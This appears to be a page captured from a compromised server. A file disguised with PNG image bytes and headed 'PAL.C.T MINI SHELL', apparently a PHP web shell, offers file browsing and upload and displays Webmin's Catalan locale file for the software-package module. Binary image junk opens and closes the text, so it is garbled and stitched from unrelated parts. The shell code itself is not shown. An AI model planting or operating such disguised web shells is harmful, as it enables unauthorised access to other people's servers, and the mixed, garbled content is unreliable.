php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/software/lang/
upload
files >> //usr/libexec/webmin/software/lang/ca

index_title=Paquets de Programari
index_installed=Paquets Instal·lats
index_close=Tanca-ho Tot
index_open=Obre-ho Tot
index_search=Busca el Paquet:
index_install=Instal·la un Nou Paquet
index_installmsg=Selecciona la ubicació	des d'on cal instal·lar el nou paquet del $1...
index_local=Des d'un fitxer local
index_uploaded=Des d'un fitxer pujat
index_ftp=Des d'un URL FTP o HTTP
index_installok=Instal·la
index_ident=Identifica un Fitxer
index_identmsg=Introdueix una ordre o el camí d'un fitxer per buscar-lo a la base de dades del $1.
index_identok=Busca:
index_all=Tots els paquets
index_return=a l'índex de mòduls
index_treturn=a l'arbre de paquets
index_tree=a l'Arbre de Paquets
index_epackagecmd=El sistema de paquets $1 requereix l'ordre $2
index_eupdatecmd=El sistema d'actualització $1 requereix l'ordre $2
index_epackagecheck=El sistema de gestió de paquets seleccionat no és vàlid: $1.<br>Pot ser que hagis de seleccionar un sistema diferent a la pàgina de <a href='$2'>configuració del mòdul</a>.
index_eupdatecheck=El sistema d'actualització seleccionat no és vàlid: $1.<br>Pot ser que hagis de seleccionar un mètode d'actualització diferent a la pàgina de <a href='$2'>configuració del mòdul</a>.
index_echeckpackage=No s'ha detectat cap sistema de paquets!
index_echeckupdate=No s'ha detectat cap sistema d'actualització!
index_filter=Filtra els Paquets
index_filterclear=Treu el Filtre
index_filtered=S'estan mostrant <tt>$1</tt> paquets de <tt>$2</tt>

search_title=Cerca de Paquet
search_nomatch=No hi ha cap paquet que coincideixi amb '$1'
search_none=Cap
search_desc=Descripció
search_class=Classe
search_pack=Paquet
search_match=Paquets que coincideixen amb '$1'
search_return=als resultats de la recerca
search_esearch=No has introduït res per buscar!
search_delete=Desinstal·la els paquets seleccionats
search_selall=Selecciona'ls tots
search_invert=Inverteix la selecció

edit_title=Edició de Paquet
edit_details=Detalls del Paquet
edit_desc=Descripció
edit_pack=Paquet
edit_class=Classe
edit_none=Cap
edit_ver=Versió
edit_vend=Distribuïdor
edit_arch=Arquitectura
edit_inst=Instal·lat
edit_list=Llista els Fitxers
edit_listdesc=Mostra tots els fitxers d'aquest paquet i el seu estat actual de verificació.
edit_uninst=Desinstal·la
edit_uninstdesc=Elimina aquest paquet del sistema.
edit_return=al detall dels paquets
edit_egone=El paquet ja no està instal·lat

list_title=Fitxers de Paquet
list_files=Fitxers del Paquet $1
list_path=Camí
list_owner=Usuari
list_group=Grup
list_type=Tipus
list_size=Mida
list_status=Estat
list_ok=Bé
list_view=(Vista)
list_eview=No s'ha pogut obrir $1: $2

delete_err=No s'ha pogut suprimir el paquet $1
delete_epack=El paquet $1 no existeix
delete_title=Supressió de Paquet
delete_rusure=Segur que vols suprimir el paquet $1? S'esborraran definitivament un total de $2 fitxers ($3).
delete_rusure2=Segur que vols suprimir el paquet $1?
delete_ok=Suprimeix
delete_nodeps=Ignora les dependències
delete_noscripts=Salta't els scripts de desinstal·lació
delete_efile=Fitxer temporal a esborrar invàlid
delete_purge=Depura els fitxers de configuració
delete_depstoo=Elimina també les dependències no utilitzades

file_title=Informació de Fitxer
file_notfound=No hi ha cap informació disponible sobre $1
file_path=Camí
file_type=Tipus
file_perms=Permisos
file_owner=Usuari
file_group=Grup
file_size=Mida
file_link=Enllaç a
file_pack=Paquet
file_class=Classe
file_desc=Descripció
file_none=Cap

install_err=No s'ha pogut instal·lar el paquet
install_elocal=No has donat cap fitxer local
install_elocal2='$1' no existeix
install_eupload=El teu navegador no suporta puges de fitxers
install_eurl=URL '$1' incomprensible
install_eupdate=No has introduït cap paquet per instal·lar
install_edir=No és un directori vàlid del $1
install_ezip=No és un fitxer comprimit o gzip vàlid del $1
install_efile=No és un fitxer vàlid del $1
install_title=Instal·lació de Paquet
install_header=Instal·lació de paquet
install_packs=Paquet(s) a instal·lar
install_ok=Instal·la

do_err=No s'ha pogut instal·lar el paquet $1
do_title=Instal·lació de Paquet
do_efailed=La instal·lació ha fallat: $1
do_efailedmsg1=Pots provar d'instal·lar-lo un altre cop tornant a la pàgina anterior i seleccionant opcions d'instal·lació diferents.
do_efailedmsg2=Altrament, <a href='$1'>fes clic aquí per suprimir el fitxer temporal del paquet</a> per tal d'alliberar espai al disc.
do_success=El paquet $1 s'ha instal·lat amb èxit
do_details=Detalls del Paquet
do_desc=Descripció
do_class=Classe
do_pack=Paquet
do_ver=Versió
do_vend=Distribuïdor
do_arch=Arquitectura
do_inst=Instal·lat
do_none=Cap
do_files=Fitxers del Paquet

pkgadd_root=Directori arrel
pkgadd_eroot=El directori arrel '$1' no existeix
pkgadd_unknown=Desconegut
pkgadd_manager=Gestor de Paquets System V

rpm_upgrade=Actualitza el paquet
rpm_replacepkgs=Sobreescriu el paquet
rpm_nodeps=Ignora les dependències
rpm_oldpackage=Reemplaça la versió nova per la vella
rpm_noscripts=Executa els scripts d'instal·lació
rpm_excludedocs=Instal·la la documentació
rpm_replacefiles=Sobreescriu els fitxers
rpm_notriggers=Executa els scripts d'inicialització
rpm_ignoresize=Comprova les mides dels sistemes de fitxers
rpm_root=Directori arrel
rpm_eroot=El directori arrel '$1' no existeix
rpm_search=Busca a rpmfind.net:
rpm_none=No s'ha trobat cap paquet que coincideixi amb la teva recerca.
rpm_find=Busca a rpmfind.net...
rpm_findrpm=Nom del fitxer de paquet
rpm_finddistro=Distribució
rpm_finddesc=Descripció

bsd_unknown=Desconegut
bsd_scripts=Executa els scripts pre i post instal·lació
bsd_force=Força la instal·lació si falten prerequisits
bsd_manager=Gestor de Paquets $1

slack_unclass=Altres
slack_unknown=Desconegut
slack_missing=Hi falta
slack_root=Directori arrel
slack_eroot=Hi falta el directori arrel o bé és invàlid
slack_manager=Gestor de Paquets Slackware
slack_edir=Hi falta el directori $1 de paquets de Slackware

debian_unknown=Desconegut
debian_depends=Ignora problemes de dependència
debian_conflicts=Ignora conflictes de paquets
debian_overwrite=Sobreescriu els fitxers d'altres paquets
debian_downgrade=Reemplaça el paquet nou pel vell
debian_manager=DPKG de Debian

log_install_package=S'ha instal·lat el paquet $1
log_install_apt_l=S'ha(n) instal·lat el(s) paquet(s) $1 des d'APT
log_install_apt=S'ha(n) instal·lat $2 paquet(s) des d'APT
log_install_yum_l=S'ha(n) instal·lat el(s) paquet(s) $1 des de YUM
log_install_yum=S'ha(n) instal·lat $2 paquet(s) des de YUM
log_install_rhn_l=S'ha(n) instal·lat el(s) paquet(s) $1 des de la Xarxa Redhat
log_install_rhn=S'ha(n) instal·lat $2 paquet(s) des de la Xarxa Redhat
log_check_apt_l=S'ha(n) actualitzat el(s) paquet(s) $1 des d'APT
log_check_apt=S'ha(n) actualitzat $2 paquet(s) des d'APT
log_delete=S'ha desinstal·lat el paquet $1
log_deletes_l=S'han desinstal·lat els paquets $1
log_deletes=S'han desinstal·lat $1 paquets
log_urpmi_update=S'han actualitzat els paquets URPMI disponibles
log_urpmi_upgrade=S'han actualitzat els paquets URPMI instal·lats
log_upgrade_yum_l=S'ha(n) actualitzat paquet(s) $1 des de YUM
log_upgrade_yum=S'ha(n) actualitzat $2 paquet(s) des de YUM
log_check_rhn_l=S'ha(n) actualitzat paquet(s) $1 des de la xarxa de Redhat
log_check_rhn=S'ha(n) actualitzat $2 paquet(s) des de la xarxa de Redhat

rhn_input=Paquet de Redhat Network
rhn_find=Busca a RHN...
rhn_install=S'esta(n) instal·lant el(s) paquet(s) amb l'ordre $1...
rhn_ok=...instal·lació completa.
rhn_failed=...la instal·lació ha fallat!
rhn_title=Selecció de paquet RHN
rhn_pack=Paquets
rhn_version=Versió
rhn_form=Opcions de Redhat Network
rhn_header=Opcions d'actualització automàtica de paquets
rhn_auto=Comprova actualitzacions automàticament
rhn_interval=Interval de comprovació
rhn_secs=minuts
rhn_apply=Desa i Aplica
rhn_now=Desa i Comprova-ho Ara
rhn_err=No s'han pogut desar les opcions RHN
rhn_einterval=Hi falta l'interval o bé no és vàlid
rhn_einterval2=L'interval de comprovació ha de ser almenys de 120 segons
rhn_check=Comprovació d'Actualitzacions
rhn_checkdesc=S'estan comprovant actualitzacions a Redhat Network amb l'ordre $1...
rhn_nocheck=...no hi ha cap actualització de paquet.
rhn_proxy=URL del servidor proxy per a descàrregues
rhn_none=Desactivat
rhn_eproxy=Hi falta el servidor proxy o bé no és vàlid
rhn_skip=Omet els paquets que coincideixin amb
rhn_nonefound=no hi ha cap paquet disponible per actualitzar
rhn_name=Xarxa de RedHat

apt_input=Paquet d'APT
apt_install=S'esta(n) instal·lant el(s) paquets(s) amb l'ordre $1...
apt_ok=...instal·lació completa.
apt_failed=...la instal·lació ha fallat!
apt_form=Actualitza Tots els Paquets
apt_header=Opcions d'actualització de paquets APT
apt_update=Resincronitza la llista de paquets (<tt>update</tt>)
apt_mode=Mode d'actualització
apt_mode2=Actualització de la distribució (<tt>upgrade-dist</tt>)
apt_mode1=Actualització normal
apt_mode0=No actualitzis
apt_sim=Mostra només els paquets que seran actualitzats
apt_apply=Actualitza Ara
apt_upgrade=Actualitza Tots els Paquets
apt_updatedesc=S'està resincronitzant la llista de paquets amb l'ordre $1...
apt_updatefailed=...la resincronització ha fallat!
apt_updateok=.. resincronització completa.
apt_upgradedesc=S'està actualitzant tots els paquets amb l'ordre...
apt_upgradedescsim=S'està simulant l'actualització de tots els paquets amb l'ordre $1...
apt_upgradefailed=...l'actualització ha fallat!
apt_upgradeok=...actualització completa.
apt_search=Busca els paquets que coincideixin amb:
apt_find=Busca a APT...
apt_title=Recerca a APT
apt_name=APT
apt_repo_url=URL base del repositori
apt_repo_path=Components del camí de distribució
apt_repo_eurl=Hi falta l'URL base o bé sembla invàlid
apt_repo_epath=Hi falta el camí de distribució

yum_input=Paquet de YUM
yum_install=S'esta(n) instal·lant el(s) paquet(s) amb l'ordre $1...
yum_ok=...instal·lació completa.
yum_failed=...la instal·lació ha fallat!
yum_find=Fulleja YUM...
yum_package=Paquet
yum_version=Versió
yum_arch=Arquitectura
yum_source=Font
yum_form=Actualitza Tots els Paquets
yum_apply=Actualitza Tots els Paquets d'Instal·lació de YUM
yum_upgrade=Actualitza Tots els Paquets
yum_upgradedesc=S'estan actualitzant tots els paquets amb l'ordre $1...
yum_upgradefailed=...l'actualització ha fallat!
yum_upgradeok=...actualització completa.
yum_title=Exploració de YUM
yum_name=YUM
yum_enable=Activa el repositori:
yum_none=&lt;Cap&gt;
yum_repo_id=ID del repositori
yum_repo_name=Descripció del repositori
yum_repo_url=URL base dels paquets
yum_repo_gpg=Fitxer de certificat GPG
yum_repo_none=Sense signar
yum_repo_eid=Hi falta l'ID del repositori o bé és invàlid - només espermeten lletres i números
yum_repo_eidclash=L'ID de repositori ja està en ús
yum_repo_ename=Hi falta el nom del repositori
yum_repo_eurl=Hi falt al'URL del repositori o bé és invàlid
yum_repo_egpg=Hi falta el fitxer de certificat GPG o bé no existeix
yum_repo_efile=El fitxer del repositori ja existeix!

urpmi_name=URPMI
urpmi_input=Paquet d'URPMI
urpmi_find=Fulleja URPMI...
urpmi_form=Actualitza Tots els Paquets
urpmi_update=Actualitza els paquets URPMI Disponibles
urpmi_upgrade=Actualitza els Paquets URPMI Instal·lats a les Darreres Versions
urpmi_title_update=Actualització dels Paquets Disponibles
urpmi_title_upgrade=Actualització dels Paquets Instal·lats
urpmi_updatedesc=S'està executant l'ordre $1...
uprmi_upgradefailed=...ha fallat!
urpmi_upgradeok=...completat.
urpmi_install=S'esta(n) instal·lant el(s) paquet(s) amb l'ordre $1...
urpmi_ok=...instal·lació completa.
urpmi_failed=...la instal·lació ha fallat!

rpm_missing=Hi falta
rpm_checkfail=Ha fallat la comprovació $1
rpm_md5=MD5
rpm_fsize=mida del fitxer
rpm_sym=enllaç simbòlic
rpm_mtime=hora de modificació
rpm_dev=dispositiu
rpm_user=usuari
rpm_perm=permisos
rpm_group=grup
rpm_erpm=No s'ha trobat el RPM $1: $2

soft_reg=Fitxer Regular
soft_dir=Directori
soft_spec=Fitxer Especial
soft_sym=Enllaç Simbòlic
soft_hard=Enllaç Real
soft_edit=Fitxer Editable
soft_efunc=No s'han pogut carregar les funcions del sistema de paquets $1.
soft_euncompress=El fitxer està comprimit, però no s'ha trobat l'ordre <tt>uncompress</tt> al sistema.
soft_euncmsg=No s'ha pogut descomprimir el fitxer: $1
soft_egzip=El fitxer està comprimit amb gzip, però no s'ha trobat l'ordre <tt>gzip</tt> al sistema.
soft_egzmsg=No s'ha pogut descomprimir el fitxer amb gzip: $1

aix_unknown=Desconegut
aix_device=Dispositiu d'ENTRADA / directori de programari
aix_software=PROGRAMARI per instal·lar
aix_preview=Només VISTA PRÈVIA (NO s'efectuarà l'operació d'instal·lació)
aix_commit=FORÇA les actualitzacions de programari
aix_save=DESA els fitxers substituïts
aix_auto=Instal·la AUTOMÀTICAMENT el programari necessari
aix_extend=EXPANDEIX els sistemes de fitxers si cal més espai
aix_overwrite=REESCRIU les versions iguals o més noves
aix_verify=VERIFICA la instal·lació i comprova les mides dels fitxers
aix_include=Inclou els conjunts de fitxers d'IDIOMA corresponents
aix_detail=Sortida DETALLADA
aix_process=Processa volums múltiples
aix_accept=ACCEPTA els nous acords de llicència
aix_license=Mostra prèviament els nous acords de LLICÈNCIA
aix_clean=Fes neteja després d'una fallada
aix_manager=Gestor de Paquets AIX

emerge_input=Del repositori de <i>Portage</i>
emerge_find=Cerca...
emerge_install=S'està instal·lant el paquet amb l'ordre $1...
emerge_failed=..la instal·lació ha fallat!
emerge_ok=...instal·lació completa.
emerge_search=Busca el paquet:
emerge_pack=Paquet
emerge_class=Classe
emerge_version=Versió
emerge_desc=Descripció
emerge_none=No hi ha cap paquet que coincideixi amb la teva cerca.
emerge_noreplace=Substitueix els paquets existents
emerge_onlydeps=Instal·la només les dependències
emerge_title=Recerca a Portage
emerge_name=Portage

cygwin_fmissing=Hi falta el fitxer
cygwin_lmissing=Hi falta el fitxer al qual apunta l'enllaç
cygwin_estat=No s'ha trobat el fitxer: $1
cygwin_elread=No es pot llegir l'enllaç simbòlic: $1 
cygwin_elstat=No es troba l'enllaç simbòlic: $1
cygwin_badpostscript=Atenció: no sembla que aquest script s'hagi executat
cygwin_pkgexists=El paquet $1 ja existeix.
cygwin_warnuse=Atenció: Aquesta no és una interfície oficial per a gestionar programari de Cygwin. Utilitza'l pel teu propi compte i risc.
cygwin_edb=Hi falta la base de dades $1 de paquets de Cygwin

deletes_err=No s'han pogut suprimir els paquets
deletes_enone=No has seleccionat cap paquet
deletes_title=Supressió de Paquets
deletes_desc=S'estan desinstal·lant els paquets $1...
deletes_failed1=No s'ha pogut desinstal·lar $1: $2
deletes_success1=S'ha desinstal·lat $1 amb èxit
deletes_failed2=La desinstal·lació ha fallat: $1
deletes_success2=...desinstal·lació completa.
deletes_rusure=Segur que vols desinstal·lar els paquets $1?
deletes_ok=Suprimeix-los Tots

csw_input=Paquet de CSW
csw_install=S'esta(n) instal·lant el(s) paquet(s) amb l'ordre $1...
csw_ok=...instal·lació completa.
csw_failed=...la instal·lació ha fallat!
csw_already=...ja està instal·lat.
csw_retry=...provant-ho altre cop amb les noves dependències.
csw_find=Fulleja CSW...
csw_package=Paquet
csw_version=Versió
csw_title=Exploració de CSW
csw_name=CSW
csw_form=Actualitza els Paquets
csw_upgrade=Actualitza tots els Paquets Instal·lats
csw_updatedesc=S'estan actualitzant tots els paquets instal·lats amb l'ordre $1...

find_title=Recerca de Paquet
find_search=Busca els paquets que coincideixin amb:
find_name=Nom
find_version=Versió
find_desc=Descripció
find_none=No s'ha trobat cap paquet que coincideixi amb la cerca.

msi_users=Fes que la nova aplicació estigui disponible per a
msi_users0=Ningú
msi_users1=L'usuari actual
msi_users2=Tots els usuaris
msi_missing=No existeix
msi_size=Mida incorrecta

hpux_create_target_path=Creat el camí destí
hpux_mount_all_filesystems=Munta tots els sistemes de fitxers
hpux_reinstall=Reinstal·la
hpux_reinstall_files=Reinstal·la els fitxers
hpux_reinstall_files_use_cksum=La reinstal·lació de fitxers utilitza suma de comprovació
hpux_allow_multiple_versions=Permet versions múltiples
hpux_defer_configure=Difereix la configuració
hpux_autorecover_product=Autorecupera el producte
hpux_allow_downdate=Permet la desactualització
hpux_allow_incompatible=Permet incompatibilitats
hpux_autoselect_dependencies=Autoselecciona les dependències
hpux_enforce_dependencies=Força les dependències
hpux_enforce_scripts=Força els scripts
hpux_enforce_dsa=Força l'anàlisi d'espai al disc
hpux_root=Directori arrel

ports_install=S'estan instal·lant els ports FreeBSD $1...
ports_failed=...alguns ports han fallat
ports_ok=...instal·lació completada
ports_input=Paquet dels ports
ports_find=Busca Ports
ports_name=Ports FreeBSD
ports_form=Actualitza la Base de Dades de Ports
ports_apply=Descarrega la Darrera Versió
ports_upgrade=S'està Descarregant la Darrera Versió
ports_running=S'està executant l'ordre $1...

pkg_install=S'estan instal·lant els paquets FreeBSD $1...
pkg_failed=...alguns paquets han fallat
pkg_ok=...instal·lació completa
pkg_find=Cerca pkgng
pkg_input=Paquet de pkgng

pkgsrc_install=S'estan instal·lant els paquets pkgsrc $1...
pkgsrc_failed=...alguns paquets han fallat
pkgsrc_ok=...instal·lació completa
pkgsrc_find=Busca pkgng
pkgsrc_input=Paquet de pkgsrc

log_IPKG_update=S'ha actualitzat la base de dades IPKG
log_IPKG_upgrade=S'han actualitzat els paquets IPKG instal·lats

IPKG_name=IPKG
IPKG_input=Paquet d'IPKG
IPKG_find=Navega a IPKG...
IPKG_form=Gestiona els Paquets IPKG
IPKG_update=Actualitza la Base de dades de Paquets IPKG
IPKG_upgrade=Actualitza els Paquets IPKG Instal·lats
IPKG_title_update=S'està actualitzant la Base de dades IPKG
IPKG_title_upgrade=S'estan actualitzant el Paquets Instal·lats
IPKG_updatedesc=S'està executant l'ordre $1...
IPKG_upgradefailed=...ha fallat!
IPKG_upgradeok=...completat.
IPKG_install=S'estan instal·lant el(s) paquet(s) amb l'ordre $1...
IPKG_ok=...instal·lació completa.
IPKG_failed=...la instal·lació ha fallat!
IPKG_index_tree=Gestiona els Paquets IPKG
IPKG_install_package=Instal·la
IPKG_install_packagedesc=Instal·la aquest paquet al teu sistema
IPKG_noupgrade=No hi ha res per actualitzar
IPKG-edit_title=Gestiona el Paquet IPKG
IPKG_update_avail=Actualització disponible:
IPKG_not_installed=El paquet no està instal·lat
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`